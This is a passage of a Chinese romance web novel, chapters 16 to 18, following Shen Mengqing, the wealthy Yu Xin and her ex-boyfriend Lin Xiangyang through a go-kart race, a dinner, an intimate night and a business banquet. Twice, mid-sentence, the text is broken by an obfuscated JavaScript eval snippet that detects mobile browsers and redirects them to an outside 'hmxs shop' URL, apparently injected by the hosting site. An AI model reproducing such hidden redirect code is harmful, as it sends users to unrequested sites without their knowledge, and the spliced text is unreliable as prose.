她俯下身凑到沈孟青耳边,音量却没小多少:“你也年纪不小了,得找个能过日子的,别什么不靠谱的人都找,人林向阳挺好的,你得把握住。” 沈孟青实在忍无可忍,她正要发作,余辛玩弄杯子的手一滑,茶水尽数倒在这俩喋喋不休的人脚前的地上,茶水浸湿了他们的鞋子和裤脚,黏黏腻腻的。 “操!你这人有病吧!”男人骂骂咧咧说。 余辛松散地靠在椅子上,右手没有骨头般软绵绵地抬了抬,表情欠欠的。 “哦,手滑了,抱歉。” 男人被他这漠然的态度惹怒,往前走了几步想要理论。 余辛作势要站起来,男人这才发现他比自己高了不少,只好装作放他一马,被女人拉走了。 16. 第十六章 闹了这么一出,沈孟青都没什么吃饭的胃口。 更烦的是,被老同学一激,她的情绪还波及到了余辛,翻来覆去地想起他嘲讽她眼光的情景,甚至在回北城的路上都没和他说几句话,余辛本就话少,两人虽说坐在一起,却瞧着跟陌生人似的。 在飞机上,沈孟青递饭给余辛时,只托着个餐盘的边,生怕和他有肢体接触。 节后复工,梁军领了个新人到沈孟青跟前,是之前和她提过的校招生。 新人叫齐书盈,梳着个高高的马尾辫,脸上化着淡妆,满满的胶原蛋白,还没褪去学生稚气,乖巧得很。 沈孟青在自己工位旁边给她收拾了个座位,这一两个月就让她跟着学习。 刚教会新人工作软件一些常用的功能,她的电话铃声就响了起来,居然是李青河打来的。 接通后,李青河先开了口:“在上班?” 沈孟青语气很官方地说:“是,李总有什么事吗?” “怎么又开始喊李总了。”李青河无奈地说,“晚上有时间吗,你还欠我一顿饭呢。” “那晚上我请你吃饭。” 沈孟青不喜欢欠人情,答应得很快。 “好,晚上见。” 挂了电话,李青河给她发来一个餐厅的大众点评链接,沈孟青点进去,是一家吃自助餐的,人均九百。 他还真是顶着预算找的,沈孟青笑了下。 …… 与此同时,余辛正在去赛车场的路上。 他坐在祝绍明的车里,重金属摇滚的音乐快要震碎车窗,余辛忍到极限,伸手调低了音量,这时,祝绍明遇上红灯,猛然一个急刹车,给他晃得差点磕着。 余辛无语道:“不会开车下来我开。” “你看这照片里的人是不是你?”祝绍明把手机递给余辛,说道。 屏幕上是祝绍明入股的酒吧在今天发的宣传照片,照片上是一男一女坐在卡座的画面,两人的面容不是很清楚,但仅凭轮廓也能看出长相出色,夺人眼目。 这张照片抓拍的一刻,他正好在看沈孟青,旖旎灯光下,氛围暧昧到极点。 余辛若无其事地把手机还了回去,祝绍明一看他这样,心里就了然了。 得,还真是他。 祝绍明八卦地问:“这女人谁啊,就那晚上认识的?” “不是。”余辛将胳膊搭在车门上,撑着脑袋说。 祝绍明:“那你们什么时候认识的,我怎么不知道你……哦!难怪上回你在云栖庄总咨询我感情问题呢,还说是替朋友问的,原来是你自己被人拽下凡尘了啊。” 他坏笑地说:“说吧,进展到什么程度了。” “刚认识不久。”余辛说。 满打满算,他们的确认识才一个月。 祝绍明嘴里还絮絮叨叨说个没停,比重金属摇滚还聒噪,余辛又伸手将音量调大,盖过祝绍明的声音,窝在副驾驶闭眼小憩。 山地赛车场是他们几个人合资开的,一年也赚不到多少钱,不过是让他们闲暇时有个放松的好地方罢了。 他们这些富家子弟,除了继承家里的产业之外,都喜欢约着一起四处投几个小钱,有人搞娱乐公司,有人开酒吧,就余辛不愿和他们掺和在一起,也不愿接手他爸的企业。 也就这个山地赛车场,是祝绍明花了好久时间才说动他加入的。 李青河来得早,已经换好了赛车服,坐在休息区拿着瓶啤酒喝。 看清迎面走来的两个人,他举了举酒瓶,搁下手机说:“哟,来了。” 等人都坐下了,李青河终于找着了机会,朝余辛翻起旧帐:“上次答应你开除了郭斌又签了合同,你还没还我这人情呢。这郭斌来公司挺多年了,我爸这段时间总来问我情况,敷衍他可不容易,你是不是算欠了我个大的?” 余辛掸了掸裤子上的浮尘,说:“等会请你多跑十圈。” “我少你这十圈了。”李青河白了他一眼,“不请我吃饭,我心里这坎过不去。” 余辛:“行,今晚,餐厅你挑。” 李青河说:“那不行,晚上有约了。” 三人有一搭没一搭地闲聊着,店里忽然又进来了几个人。 “哥!” 一位打扮精致的女人朝他们的方向高喊了一声,开心地跑到祝绍明身边,坐了下来。 这人正是余辛被他爸骗去相亲的对象,祝绍明的堂妹,祝梨梨。 祝梨梨的眼神直直落在余辛身上,毫不掩饰,表情满是娇羞地说道:“绍明哥,你和朋友来这玩,怎么不叫我一起呀。” 祝绍明看见余辛脸黑得不行,心中咯噔一声,不会余辛以为是他暴露了行程吧,他冤枉啊! 他干笑几声:“呵呵,梨梨啊,我和朋友们在这谈事情呢,你先和朋友去玩,听话。” “一起玩嘛,人多热闹,那边还能计时比赛呢。”祝梨梨用力掐了下祝绍明,给他使了好几个眼色,“赛车有两个位置,哥你知道的,我不敢开,你找个人陪我。” 祝绍明往不远处一看,还有两人换好赛车服走了过来,连忙说:“你这不是还有朋友吗,你找他们一起,哥哥真没时间。” 来人是一男一女,女人他们认识,宏图资本的万大小姐,万珍。 这男人就不认识了。 万珍似乎衣服没穿好,男人走到她背后,拉紧了她脖子处的拉链,随后,两人相视一笑。 明眼人都看得出,这两人关系十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16406589|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分亲密。 余辛抬头看去,手上动作一顿。 这戴眼镜的男人,就是沈孟青床头柜照片上那男人,那天来找她要u盘的前男友,林向阳。 “万大小姐也来玩赛车?” 祝绍明向来是聚会中最活跃的一个,和谁都能聊上几句,有他在,场面就不会安静。 万珍点点头,一举一动尽显倨傲,她扫视了下沙发上坐着的几人,都是家里非富即贵的,神色这才放软了几分。 她很少来这种地方,基本是司机送她去私人会所或是五星级酒店喝下午茶,偶尔也去高端商场购物,没想到在这能遇着这些人。 祝绍明就算了,余辛和李青河平常很难见上一面的。 她笑着说:“今天倒是稀奇,这么热闹。” “可不,还是余辛组的局呢。”祝绍明看向万珍旁边的陌生男人,友好地抬了抬手算作招呼,“万珍,不介绍下?” 话题一引,万珍的气质眨眼变了,双颊染红,眉目甜蜜地说:“这是我男朋友,林向阳。” “他性格比较内向,你们可别拿他打趣。”她急忙说道。 祝绍明起哄说:“哎哟,这就维护上男朋友啦。” 余辛向后一靠,目光轻飘飘地落在林向阳身上。 虽然他坐着林向阳站着,是仰视的角度,但他的眼神全然像是上位者在睥睨审判。 长相,平平无奇。 性格,不尽人意。 总之,非常一般。 那女人是喜欢上了他哪点? 林向阳自然感知到了这个视线,他敏感地朝沙发上看去。 一位穿着黑色哑光皮夹克的男人松散地坐在沙发一角,衣服的领口下印着YSL的logo,他皮肤冷白,鼻梁高挺,额前有几缕发丝挡在眼前,却丝毫遮盖不掉眸中的锋芒,看起来不太友善。 从长相看,这男人不过二十五岁上下,年轻得很,可他的气质却比许多人要成熟矜贵。 不用想也知道,这男人家世肯定不一般。 也是,在场的人除了他,都是家底深厚的人。 林向阳心生不适,面上不显地对万珍温柔一笑:“珍珍,我们去玩赛车吧,我来开。” 万珍挽上他胳膊,回应道:“好呀。” 见两人走远,余辛顺势也站了起来,手一抄兜地朝门口走去。 祝绍明见状,出声说:“余辛你就走啊,这才坐多久,我们仨好不容易碰个面,你说你多待一会都不愿意……” 他忽一卡壳,只见余辛在快到门口的时候一个转弯,进了更衣室。 祝绍明呆若木鸡,一个字一个字地从嘴里往外蹦: “李青河,我没看错吧,余辛要玩赛车?!” 17. 第十七章 祝绍明问道:“他上次玩还是啥时候,高中?大学?” 李青河比他淡定得多,沉静回想了会,说:“是大学吧,我们这赛场开业一周年那天,他心情好陪我们玩了一次。你看那屏幕上,第一的纪录就是他那次跑出来的成绩。” 门口收银台的背后是一个宽幅显示屏,上面展示了前五名的用时纪录,第一行写着:YU4min50s。 祝梨梨看见这行字,两眼放光地说:“余辛居然是最高记录。” “都这么久了,还没人超越他的记录啊。”祝绍明往后一靠,感叹说,“也不知道几年没玩余辛还行不行,有没有机会达到当年这成绩。” 他兴致上来,挤到李青河旁边,揽过他的肩说:“怎么样,打个赌不?” 李青河说:“赌什么。” “就赌他能不能破纪录。”祝绍明说。 李青河耸耸肩,说:“没什么意思,先让我听听赌注是什么。” 祝绍明想了想,也没什么好东西是这李大少爷没见过的,只好说:“下次无条件答应你件事?” “无聊。”李青河松了松肩膀,甩开了祝绍明的手。 “切,你不赌算了。”祝绍明一转头,又对祝梨梨说,“妹妹,要不我们俩赌?” 祝梨梨无所谓地说:“行啊,赌注我选,如果我赢了我要余辛的微信。” “这简单啊。那哥哥我赢了的话,以后有十次我不在家的时候你要给我打掩护。”祝绍明说。 祝梨梨爽快应下:“行。” 祝绍明这么些年和余辛玩一块,就没见过他练赛车,肯定达不到几年前的巅峰状态,稍微犹豫了下后,便押注他破不了记录,正好,祝梨梨无脑地相信余辛能赛出更好的成绩。 没等多久,余辛穿着赛车服走了出来,他全然不知这些人拿他下注的事情。 他在店里放了一套专用的赛车服,是以宝蓝色为主色、缀有黑白色块的,赛车服的独特风格彻底激发出了他拽酷的特质,他本就长得高大,穿上这衣服后衬得他整个人十分出挑夺目。 大概是换衣服的时候碰到了头发,他的发丝变凌乱了些,额头露了出来,风一吹,发梢弯了个好看的弧度,又添了几分干净的少年意气。 余辛抓上头盔径直朝跑道走去,祝梨梨立马将她哥从沙发上扯起来,跟了上去。 走到发车格前,余辛往远处一眺,林向阳和万珍的车应该还没出发多久。 够了。 他整理着头盔戴上,向身旁的工作人员问道:“前面那两个人,跑几圈?” “三圈,基础路线。”工作人员回答说。 “好。”余辛伸手拉开车门,头也不回地说,“我也跑三圈路线,给我计时。” 他坐上车,驾轻就熟地点燃发动机,耳边只剩下引擎的轰隆声,刺激着人的肾上腺素。 祝梨梨兴奋地跑到起跑线,脑子里已经幻想了无数个她坐在余辛车上的浪漫画面,嘴角勾起笑意。 转眼,她的笑容就被刮起的大风吹僵了。 余辛开着车从她眼前飞驰而过。 祝梨梨嘴一瘪,哭闹说:“哥,他怎么不等我呀!” 祝绍明无语地看向这位自作多情的傻白甜堂妹:“人也没答应你一起开啊。” “那你来开,我坐你旁边,你必须给我超过余辛。”祝梨梨用力推着祝绍明走到一辆车跟前。 祝绍明:“我衣服都没换!你先等会。” 祝梨梨:“我不管,等会追不上他了。” 祝绍明:“拜托,你为了男人不要命了,你哥还要!” 祝绍明没再管无理取闹的祝梨梨,去换赛车服了。 …… 好几年没有玩过赛车,说不手生是不可能的。 在发车后的几十秒里,余辛没有急着提速,沉心找了下状态,也熟悉下跑道。 等心里有了把握,他才踩下油门准备加速。 余辛稳稳握住方向盘,双手指节分明,因用力而微微泛白。 第一个弯道临近,林向阳的橙色跑车正在入弯,大概是因为万珍坐在车上,难免分心,他显得有些犹豫,速度降得太多,轻易地就被余辛抓住了破绽。 余辛没有重踩刹车,只是用脚尖轻踏,果断地打满了方向盘。车尾划出一道干净利落的弧线,他贴着内线完成了一次超越。 嗖——! 他从橙色跑车的侧后方切入、并线、超越,整个过程行云流水,没有给林向阳任何反应的时间。过弯强大的惯力将余辛紧紧按在椅背上,他身体核心极稳,头颈没有丝毫晃动,眼神坚定。 被他甩开的跑车内,万珍在副驾上发出一声短促的尖叫,林向阳惊得手一抖,车身晃了一下。 他皱起眉,怪罪万珍的话差点脱口而出,又被他及时咽了回去,他只能眼睁睁看着那辆蓝色赛车绝尘而去,带着一种不把他放在眼里的傲慢。 而他讨厌这种傲慢。 万珍还在旁边,林向阳只能无声地骂了句脏话,下意识就想深踩油门追上去,却很快遇上下一个弯角,他被逼得不得不再次减速。 而此时的余辛淡漠地瞥了眼后视镜,视野中早已没有了那辆橙色跑车,他全心全意地专注着前方蜿蜒的跑道。 跑完一圈下去,他对赛道已然了如指掌。 进入第二圈,他开始真正发力,喧嚣的嗡鸣声在赛场里回荡,像是只沉睡已久后苏醒的狮子,肆意地宣告森林之王的回归。 到了长直道的尽头,速度逼近极限,他没有一丝畏惧和动摇,在几乎不可能的时刻才重刹入弯。 最后一圈。 余辛双眼里只剩下跑道的路面。他的每一次换挡、转向都精准无比,好像将最优解计算过无数遍一般。 最后一个弯,他全油门通过,车身微微侧滑,带起一阵白烟,他迅速地反打方向,修正了轨迹。 眨眼间,余辛的车以惊人的速度冲过了终点线。 起点处,祝绍明和祝梨梨站在一起挑选着赛车,瞧见余辛的车后,祝绍明好奇地凑到工作人员跟前,低头看向计时器。 时间定格在:4:36.391 “卧槽!!!” 祝绍明没忍住吼了出来,下巴都快掉到地上,“四分三十六秒?!余辛把纪录提高了十多秒?!” 他车也不开了,飞奔进休息区告诉李青河这个消息。 祝梨梨更是高兴不已,她终于有机会能加上余辛好友了,偏过头向工作人员问道:“这个成绩是不是很厉害啊?” 工作人员都还处在震惊之中,回答说:“是我们开业以来最好的成绩,堪比职业选手了。” 两人说话的间隙,林向阳和万珍的车姗姗来迟,冲过终点的气势看起来比余辛的差了不止一截,成绩平平。 林向阳脸色铁青地停下车,万珍没注意到他的异样,只皱着眉对他撒娇说:“这赛车好吓人,下次不玩了。” “好,听你的,我们再也不玩了。”林向阳神情缓和了一些。 余辛将蓝色赛车缓缓驶回发车区,停稳后,他熄了火,推开车门,长腿一迈跨了出来。 他摘下头盔,头发已被彻底压乱,有几缕发尾上还悬着细微的汗珠,赛完车后,他张扬的劲再也收不住,愈加引人注目。 他无视了迫不及待想要告诉他用时的工作人员,直接去换了衣服。 这次比赛,成绩对他来说不重要。 他刚换好衣服,男更衣室又进来了一人。 余辛听见响动,侧头看去,和林向阳四目相对。 林向阳注视着余辛,眼神里含了一丝试探。 他朝余辛直行走去,友好地伸出手说:“你好,富海证券林向阳。” 余辛埋头把赛车服收好,一个跨步越过了林向阳,视线仅仅在人身上停留了一瞬,像是不值得他多浪费时间似的。 “余辛。” 他随口说出自己的名字,而后便出了门。 林向阳的手僵在半空中,渐渐握紧成拳。 余辛,愈生医药太子爷。 是沈孟青在的公司。 难道…… 他脑中有个大胆的猜测,既然他能靠业务合作搭上万珍这位宏图资本的大小姐,那沈孟青,说不定也能用什么手段攀扯上公司太子爷。 余辛和万珍认识,如果他把自己和沈孟青的事透露给万珍,那就不好了。 林向阳越想越慌,拿出手机想给沈孟青发消息,却发现他被拉黑了。 看来,他只能想别的办法了。 - 时间到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16406590|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了晚上七点,沈孟青这次特意留心了下,比李青河先到了餐厅。 齐书盈工作很努力,白天主动替她分担了不少琐碎的事物,沈孟青头一回感觉工作起来这么省心,轻松地下了班。 没等多久,李青河就来了,他今天穿得休闲许多,气势便没那么压人,少了些距离感。 “久等了。”李青河喝了口水,向沈孟青问提议道,“要不,我们去拿些吃的?” “行啊。”沈孟青的胃早就在对她发出抗议了。 他们离开座位后不久,门口又进来两人,环视了一圈后在角落里的位置坐下。 祝绍明看了眼手机,说:“我付钱了啊,你随便吃。” 他搁下手机,正要起身,却发现余辛眼神晦暗地盯着前面,祝绍明顺着他视线看去,顿时捕捉到了李青河和沈孟青的身影。 “哎哟,这么巧。” 祝绍明提脚想去打个招呼,却一把被余辛按下。 他疑惑地看向余辛,只见其神色冷得跟冬天刮脸的风似的,腮帮子还有点鼓,估计是正紧紧咬着后槽牙。 再多看了几眼,他明白了。 李青河旁边的那个女人,怕不就是酒吧里和余辛坐在一起喝酒的人。 那他得去会会了。 “我先去个洗手间。” 祝绍明随意诹了个理由,站起身来。 …… 那头沈孟青将选好的菜放在桌上后,先去洗了个手,她刚出门,便被一男人拦住了去路。 她端详了来人几秒,心下揣测着,这陌生人表情看着还算礼貌,应当不是来找茬的。 “你是?”她小心地问道。 祝绍明笑着开门见山地说:“我是余辛的朋友。” 沈孟青一愣,祝绍明连忙解释说:“我上次在酒吧看见了你们。” “啊——” 沈孟青反应过来,原来是那次。 她忽然好奇:“你也在酒吧?” 她停顿了一下,又问:“你和余辛做的是一样的工作么?” 祝绍明摆摆手,说:“那不是,他赚得比我多多了。” “哦。”沈孟青疯狂点头,“明白了明白了。” 果然真有钱途。 祝绍明:“?” 等等,明明来问话的人是他。 他咳了几声,叉手问道:“你和余辛,什么关系啊?你们熟吗?” “我们?”沈孟青说,“我们……就是朋友关系啊,算熟吧。” 反正缩写都一样,说朋友关系也没错。 祝绍明有些不相信,但沈孟青嘴巴很严,他撬不出什么有用的信息,简单聊了几句后,两人就回了座位。 没有了妈妈的“相亲任务”,这顿饭吃起来愉快很多,沈孟青时不时向李青河讨教工作上的问题,吃到最后,李青河都忍不住扶额苦叹说,也不知道沈孟青是来请客的还是来上课的,和加班没什么区别。 他开玩笑的说,下次如果要他上课的话,要单独收费。 他们走的时候,餐厅里大部分座位都空了,李青河看了眼时间,绅士地提出送沈孟青回家。 沈孟青原本婉拒了下,但李青河坚持说他家教如此,晚上绝不能让女士一个人回家,实在不行,他再继续加班聊聊工作上的事,她拗不过他的好意,只好应下了。 回去的路上,李青河找的话题八成都是围绕着愈生,沈孟青入职五年下来,还了解得没有他多。她最诧异的事是董事长和他儿子的关系很差,再联想起姜羽说董事长这段时间身体不好,难道,他们公司真的要面临动荡局面了。 到了小区,沈孟青对李青河道了谢,在门口下了车。 四下安安静静的,乌黑的草丛中有一只瘦弱的流浪小狸花猫窜了出来,见有人在又飞速地跑走,躲在拐角的暗处亮着双眼睛偷偷看沈孟青。过了春天,又多了几只新的流浪小猫,沈孟青决定过几天联系救助站,给猫猫们送去做绝育。 走进了单元楼,电梯显示刚好停在她住的第六层,沈孟青摁下按键。 她望着显示屏上匀速变化的数字。 一、二……六。 电梯门一打开,沈孟青抬脚走出去,一眼看见了靠在她家门前的余辛。 他是小狗吗,闻着味就来了。 18、第十八章 第18章 第十八章 “有事,腰断了。”…… 沈孟青踢踢踏踏走到余辛跟前, 余辛抬起头,眼尾低垂地看向她,紧抿着嘴唇, 没有要让开位置的意思, 她只好也往墙上一倚,和他面对面站着。 “今晚我这可没有饭吃。”沈孟青挺饱的, 不想开火下厨。 余辛缄默地盯了沈孟青几秒, 眸中似水面无波的古井, 深不可测。 他淡淡然说:“谁说没有。” 话音一落, 他伸手箍上沈孟青的腰,将她往自己身前一带, 另一只手捧上她的脸, 垂头吻了下去。 余辛吮吸着她柔软的唇瓣,手轻轻用力, 仰起她的脸, 引导着她回应自己。 他的吻漫长而投入,仿佛要将她拆解入腹,沈孟青找不出一刻缓冲的间隙,快要喘不过气, 脑袋晕乎乎的, 连眼眸都染上了一层雾色。 明明抵在墙边的是余辛, 她却觉得有一张密不透风的织网笼罩着她, 令她无法进退,像个溺水的人, 只能紧紧地攀上余辛,将他视作救命稻草。 走廊的灯闪了闪,灯影描绘着两人紧密相贴的身体, 泛着柔光,周围静谧,只有亲吻的声音在暗处作祟。 忽然,电梯门响了一下,两人被惊扰,沈孟青迅速地抽开身打开门锁,将余辛猛力一推,两人脚步错乱地进了门。 余辛失去重心地靠在门边的高桌上,一只手反撑着稳住平衡,沈孟青被他没来得及收回去的脚一绊,扑在他身上,姿势很奇怪,倒像是她要强/取良男一样。 “没事吧。”她抓住余辛的胳膊,问道。 余辛沉着嗓子,语气里带着些忍耐,说:“有事,腰断了。” 沈孟青:“对不起对不起,我给你揉揉。” 家里拉了遮光窗帘,眼前昏暗,她和余辛又离得太近,沈孟青低下头只能看清他大概的身体轮廓,盲然地用手摸来摸去,一次次滑过他滚烫分明的肌肉。 余辛顺势站了起来,弯腰将她逼至门角,音色凛凛,又有些勾人:“这就是你说的揉揉?” “我又不是专业的,再说了,你这腰不是挺好的么。”沈孟青小声喃喃道。 “呵。”余辛气笑了,“要不你再检查检查?” 沈孟青兀自咽了下空气,明知故问地眨眨眼睛:“怎么检查?” 她在余辛唇上啄了下:“这样?” 又在他滚动的喉结啄了下:“还是这样?” 余辛不说话,就这么直勾勾地凝视她,眼里的情绪一点点溢出,卷裹住沈孟青,将她慢慢融化。 沈孟青再也受不了他这样的眼神,踮脚揽上他的脖子,深深吻了下去。 上次吵架后,沈孟青还以为他们会那样断了。 这种关系本来就不牢靠,和恋爱不一样,没有束缚,随性所至,中途不论哪一方拍拍屁股走人了,都是在对方生活中彻彻底底的消失,不会留下什么痕迹。 吵了架,也很难像普通情侣一般会有人主动做出让步,她想过,就余辛那种冷淡的性子,说不定真有一天会突然失联。 所以,当他出现在楚城的时候,沈孟青是有些意外和动容的。 那句质问他喜不喜欢自己,其实是她的玩笑话,她理性地不想他们之中有人动真感情,既然注定会有结束的那一天,那好聚好散就好。 身体跌进床铺的瞬间,沈孟青的下巴不小心撞在余辛的肋骨上,疼痛感撞散了她胡乱的思绪,将她拉回现实,全心沉浸于当下。 窗外又下起了大雨,隐隐还有雷暴的迹象,天空不时传来几声惊雷轰鸣,大风刮得窗户哐啷作响,偶尔几次闪电,将乌暗的房间照亮一瞬,不小心闯入这旖旎贲张的氛围中。 闪电时,沈孟青下意识闭起眼睛,抖了下身子。 “害怕?”余辛垂眸问她,气息微喘,很是诱人。 沈孟青点了点头。 下一秒,她感觉到一只温热而宽大的手覆在了自己眼睛上,她睁开眼,一片漆黑,除了余辛手上传来的温度,世上的一切都被隔绝。 或许是因为看不见了,沈孟青的其余感官变得愈发敏感,余辛牵引着她,带她在这场雨中肆意地玩闹,雨水润过她的肌肤,与汗水交融在一起,她清晰地感受到每一滴雨点落下的触感,像是在反复重塑她的泥身。 他们在雨中乘兴而去,尽兴而归。 以往到最后睡去时,沈孟青和余辛会默契地各自划分领地,一人占一边,无声地达成某种共识,但是今晚,不知道是不是因为得知了沈孟青害怕闪电,余辛转了个身,悄然将她圈入怀中。 沈孟青一向笃定地认为比起亲吻、牵手等等的触碰,拥抱更要令人心动,它像是邀请一个人进入自己的小天地,交换最亲密的领域。 现下她背靠在余辛的怀里,他呼出的鼻息落在她的脖颈,她的肩头顶住他心脏的位置,两人之间的距离在无限的拉近。 她的心和外头风中的大树似的摇摇晃晃。 电闪雷鸣中,沈孟青酣然入梦。 …… 半夜,余辛被雷声吵醒。 睁开眼,沈孟青柔美的脸庞落入他眼里,他闻见床榻上浓郁的花果香气,铺天盖地地弥漫着。 在冷战的几天里,余辛无法遏制地回忆起无数个和她的场景,她的一切都是那么柔软,在他坚硬的世界里横冲直撞,每一次碰撞都会引起他灵魂的震颤。 他没谈过恋爱,也没对人动心过,独自留学那么多年,他可以很长一段时间不和人说话,他就像一棵生长在悬崖边的树,不被任何雨浇灌,没有一阵风吹拂。 而这样的悬崖,被沈孟青锲而不舍地攀爬了上来,她带来了一场酣畅淋漓的雨水,一棵枯树就这样被浇灌,生出了新芽,抽出了花苞。 花瓣一绽开,散发出来的是她身上的香气。 这种陌生的情感令他无所适从,他不自觉地重了几分搂人的力度,低头埋进沈孟青的发丝里- 隔天,沈孟青请了半天假。 她久违地早起在小区里慢走了圈,路边草地上有不少吹断的树枝,叶子杂乱地铺在地上,台阶和地面的折角边缘满是积水,尽是昨晚风摧雨过的痕迹。 楼下不少晨练的大爷大妈和沈孟青打了招呼,塞了些早餐给她,生怕他们这种工作忙碌的都市丽人不吃早饭,把身体搞垮。 她两手满满当当地回到家,余辛正打算离开,见到她不免一怔,说:“我以为你去上班了。” “下午再去。”沈孟青嚼着包子,将剩下的早餐递给余辛,“吃点。” 余辛在餐桌坐下,陪她一起吃。 早上沈孟青拉开了阳台的门,这会有微风灌入,带着雨后的清凉之意,窗帘随风摇动,送来知了不知疲倦地喧叫声,两人围坐的画面还挺岁月静好。 有点安静过头,沈孟青没话找话说:“你平常过节也是一个人吗?” 端午节这种节日都不和家人过,闷头就跑楚城来找她。 “嗯。” 余辛将垃圾抛入垃圾篓,往后一躺翘起凳子看沈孟青,沈孟青小时候也试过这样装逼地坐凳子,然后就摔了个四脚朝天。 她想起个事,纠结了一会后,还是问出了口:“你养过狗?” 咚一声,余辛将凳子腿还给地面:“你怎么知道的?” 沈孟青诚实地说:“之前加你的时候看了朋友圈。” 余辛:“看得还挺快。” “哪有你删我的手快。”沈孟青冷不丁说。 “……” “那只狗是我前几年养的,在垃圾堆旁边发现他时还很小,大冷天发着抖,我就把它带回了家。那时候我还和我爸住,把狗救活后我爸不让我养,其实已经有人联系我想要领养了,但我也说不清为什么,可能是想故意和我爸作对吧,强硬地把狗留下来了。直到一天,我和我爸大吵一架,我摔门走了,我不知道它也追出来了,它在追我的路上被车撞了。” 余辛顿了几秒,说:“那次,它没救过来。” 他的脸上看不出任何情绪,声音也极为平静。 但沈孟青知道,这种事就像是一块痊愈了很久的伤,已然生长出新的血肉,不痛不痒,但留下的暗棕色疤痕,总是在提醒它曾经发生过,让人不时地想起它。 她说道:“可能是老天觉得你太孤单了,把它带到你身边陪你一段时间,如果没有你,它说不定活不过那个冬天。” “或许吧。”余辛说。 话题太沉重,两人再找不出话说,相顾无言时,沈孟青的电话响了起来。 是梁军打来的,沈孟青示意余辛先别出声,接通了电话。 “喂,孟青啊,晚上宏图资本那边约了个饭局,他们对研发的新品很感兴趣,在考虑投资项目,你做了这么久销售报告,对这个新品也很了解了,到时候我们和研发那边的人一起过去。” “行。” 沈孟青简单了解了下情况后,给齐书盈也发了个消息,喊她也去学习学习。 正巧这时,余辛也来了个电话。 “喂,陈姨。” 手机传来的声音嗡嗡响,沈孟青听不清具体的字句,只能辨别出那人的语气有点焦灼,余辛的脸色一点点沉了下去。 挂断电话前,他说:“好,我马上过来。” 余辛将手机收进兜里,急匆匆站起身道:“我先走了。” “没事吧?” 看起来不是什么好消息。 余辛回她道:“我爸生病住院了。” 他说完便出了门。 等他离开后不久,沈孟青也挎上包出门去上班了。 宏图资本那边参加酒局的是万家大小姐,万珍,据说她亲哥哥就是以后的接班人,万珍辅助他处理一些投资合作业务,算是宏图对外的门脸。 沈孟青带着齐书盈做了一下午功课,把新品的报告翻来倒去嚼碎了,还找姜羽了解了下这位万大小姐的琐事。 研发那边只去了一个部门经理,他们的员工基本都在一线厂子里,也没什么能说会道的嘴皮子,在这种酒局,只有问起些产品原料和功能这种专业知识时能答上几句,其他时候就是个陪衬。 几人在预定好的包厢里坐定,屁股还没坐热,宏图资本的人就到了。 万珍穿着一袭小香风套装脚下生风地走了进来,她后头跟着俩人,一位是她的助理,而另一位…… 沈孟青嘴上的笑霎时就挂不住了。 林向阳在这做什么? 她不动声色地跟着梁军和宏图这几人问了好,等落了座,万珍便开始介绍她身边的人:“这位是林向阳,他是我男朋友,在富海证券上班,做过许多医药行业的行业研究,所以我就让他一起来了,梁总不介意吧?” “当然不介意了。”梁军谄媚地笑着,“万总和林总郎才女貌,般配得很啊!” 听及此,沈孟青的视线转瞬落在林向阳的身上,她嘴角仍含着笑,眼神却是探究和不解。 她想起林向阳朝她跪地求婚的场景,是他苦苦哀求她回老家一起生活,放下北城的一切,在沈孟青拒绝后,他却变了个人似的,发怒着扔了手上的花束,夺门而出,而后人间蒸发一般失去联系,直到沈孟青收到那条分手讯息。 怎么现在傍上了白富美,又不想走了? 沈孟青的神色愈发冰冷,或许是她看林向阳的时间太久,万珍察觉到了异样,笑着对她说:“沈总,你和向阳认识?” 林向阳笑了起来,推了下眼镜道:“我和沈总应该是第一次见。” 瞧见林向阳这扯谎的样子,沈孟青在心里嗤笑了下,面色如常地说:“林总很像我的一个老同学,是我认错了。” 梁军左看看右看看,挺身而出打起圆场,喊来服务员上菜。 万珍瞥了眼林向阳,还是觉得他不太对劲,再加上沈孟青长得年轻貌美,她不得不留了个心眼。 这种商务局梁军是主讲,沈孟青和研发部的人偶尔提醒他一些细节,再说几句热闹气氛的话,便算完成任务了。见事情敲定的差不多,沈孟青离了席,想出去透透气。 走到长廊上,她随便找了个摆着盆栽的角落,给姜羽发消息说: 「劲爆,林向阳和万珍在谈恋爱。」 等姜羽回复的期间,她无聊地滑动着聊天列表,没什么新鲜的消息。 也不知道余辛陪着他爸爸在医院怎么样了。 “原来你在这啊。” 林向阳打断了沈孟青的偷闲,踱步到她跟前,说:“没想到今晚你也会来。” “你很怕你现女友看见我?”沈孟青笑了笑,“我还真不知道你什么时候认识了万珍。” 林向阳不以为意地说:“挺早就认识了。” 沈孟青眼色一变,林向阳又接着说:“我没出轨,之前她只是公司客户而已。” “为了她你不回老家了?”沈孟青说。 林向阳撇撇嘴:“如果能做宏图资本的女婿,谁会选择离开北城呢。是万珍先追求我的,要是你当时答应了我的求婚,我肯定会拒绝她,和你回去。” “什么叫和我回去?”沈孟青眉头一皱,“要回去的人可不是我。” 在这和他翻旧账没意义,沈孟青活络了下站麻了的脚,准备回包间去,不料林向阳拦住了她。 “你是不是从来没喜欢过我?” 林向阳神情执拗,铁了心想要个说法。 沈孟青忍下一口气,说:“你有病别在这发。” 